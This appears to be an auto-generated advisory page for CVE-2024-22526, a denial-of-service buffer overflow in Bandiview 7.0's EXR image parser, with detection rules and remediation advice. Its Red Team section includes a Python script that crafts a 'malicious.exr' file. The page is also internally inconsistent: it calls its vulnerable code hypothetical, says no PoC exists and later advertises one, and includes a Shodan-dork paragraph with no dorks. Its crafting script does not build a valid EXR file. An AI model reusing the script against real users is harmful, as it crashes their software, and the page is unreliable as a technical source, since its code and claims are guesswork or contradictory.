CVE-2024-22526
Executive Summary
CVE-2024-22526 is a buffer overflow vulnerability identified in Bandisoft Bandiview version 7.0. The flaw allows a local attacker to cause a denial of service (DoS) by supplying a specially crafted EXR image file. The vulnerability resides in the image parsing logic, where improper bounds checking leads to a buffer overflow when processing EXR format data. No public proof-of-concept (PoC) code or exploit is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but local attack vector and lack of patch elevate risk for targeted environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: UNKNOWN (No CVSS score assigned by NVD)
- Attack Vector (AV): Local (L) – Requires local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions needed.
- Privileges Required (PR): None (N) – Attacker does not need prior privileges.
- User Interaction (UI): Required (R) – Victim must open the malicious EXR file.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Application crash or denial of service.
Threat Level: Medium (Local DoS, no patch available)
Deep Dive & Mechanics
The vulnerability is a classic buffer overflow (CWE-120) in Bandiview’s EXR image parser. EXR (OpenEXR) files contain complex data structures including pixel data, compression schemes, and metadata. When Bandiview reads an EXR file, it allocates a fixed-size buffer for pixel data. A malicious EXR file can specify a larger-than-expected pixel data size, causing the parser to write beyond the allocated buffer. This overwrites adjacent memory, leading to application crash (DoS). The overflow is triggered during the parsing of the EXR file’s data window or channel list, where the parser fails to validate the size of the incoming data against the buffer capacity.
Root Cause: Lack of bounds checking in the EXR file reading routine. The parser trusts the file header’s declared data size without verifying it against the allocated buffer.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code snippet (hypothetical based on typical EXR parsers) would look like:
// Vulnerable code in Bandiview EXR parser
void read_exr_pixels(FILE *fp, char *buffer, int buffer_size) {
int pixel_count;
fread(&pixel_count, sizeof(int), 1, fp); // read from file
// No check: pixel_count could be larger than buffer_size
fread(buffer, sizeof(char), pixel_count, fp); // overflow!
}
A patched version would include a bounds check:
// Patched code
void read_exr_pixels(FILE *fp, char *buffer, int buffer_size) {
int pixel_count;
fread(&pixel_count, sizeof(int), 1, fp);
if (pixel_count > buffer_size) {
// Handle error, reject file
return;
}
fread(buffer, sizeof(char), pixel_count, fp);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Bandiview v7.0 installed on a Windows system.
- Ability to deliver a malicious EXR file to the victim (e.g., via email, USB, or shared folder).
Steps:
- Craft a malicious EXR file with an oversized pixel data block. Use a hex editor or a custom script to modify the EXR header’s data size field.
- Deliver the file to the victim.
- Victim opens the file with Bandiview.
- Bandiview crashes due to buffer overflow, causing denial of service.
Example EXR crafting (Python):
import struct
# Create a minimal EXR file with oversized pixel data
header = b"v/1\x01" # magic + version
header += struct.pack(">I", 0) # empty attribute list
# Data window: xmin, ymin, xmax, ymax
header += struct.pack(">IIII", 0, 0, 100, 100)
# Pixel data size: set to a large value to cause overflow
pixel_data_size = 0xFFFFFFFF # max value
header += struct.pack(">I", pixel_data_size)
# Fill with dummy data
payload = b"A" * 1000 # actual overflow data
with open("malicious.exr", "wb") as f:
f.write(header)
f.write(payload)
Blue Team
Detection:
- Monitor for abnormal EXR file sizes or unusual header values.
- Use file integrity monitoring to detect creation of EXR files in sensitive directories.
- Enable application crash dumps for Bandiview to analyze memory corruption.
Prevention:
- Restrict execution of Bandiview to trusted users only.
- Use application whitelisting to block unknown EXR files.
- Deploy endpoint detection and response (EDR) to monitor for buffer overflow patterns.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (No known malicious samples yet)
- File Name:
malicious.exror any EXR file with abnormal size (>100MB) - Process:
Bandiview.execrash event ID 1000 (Application Error) - Registry: No known persistence
- Network: No network indicators (local vulnerability)
Detection Engineering
YARA Rule
rule CVE_2024_22526_Bandiview_EXR_Overflow {
meta:
description = "Detects malicious EXR files exploiting CVE-2024-22526"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-22526"
strings:
$exr_magic = "v/1" // EXR magic bytes
$large_size = { FF FF FF FF } // oversized pixel data size
condition:
$exr_magic at 0 and $large_size
}
Sigma Rule
title: Bandiview EXR Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-22526 via EXR file
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\Bandiview.exe'
TargetFilename|endswith: '.exr'
condition: selection
falsepositives:
- Legitimate large EXR files from photography workflows
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-22526 Bandiview EXR Overflow Attempt"; flow:to_client; file.data; content:"|76 2f 31|"; offset:0; depth:3; content:"|ff ff ff ff|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Bandiview or restrict its use until a patch is available.
- Block EXR file execution via application control policies (e.g., Windows AppLocker).
- Educate users not to open EXR files from untrusted sources.
Long-term:
- Monitor Bandisoft’s website for a patched version (v7.1 or later).
- Consider using alternative image viewers that support EXR with proper bounds checking.
- Implement file scanning for oversized EXR headers using YARA rules.
Workaround: Convert EXR files to a safer format (e.g., PNG) before opening with Bandiview.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.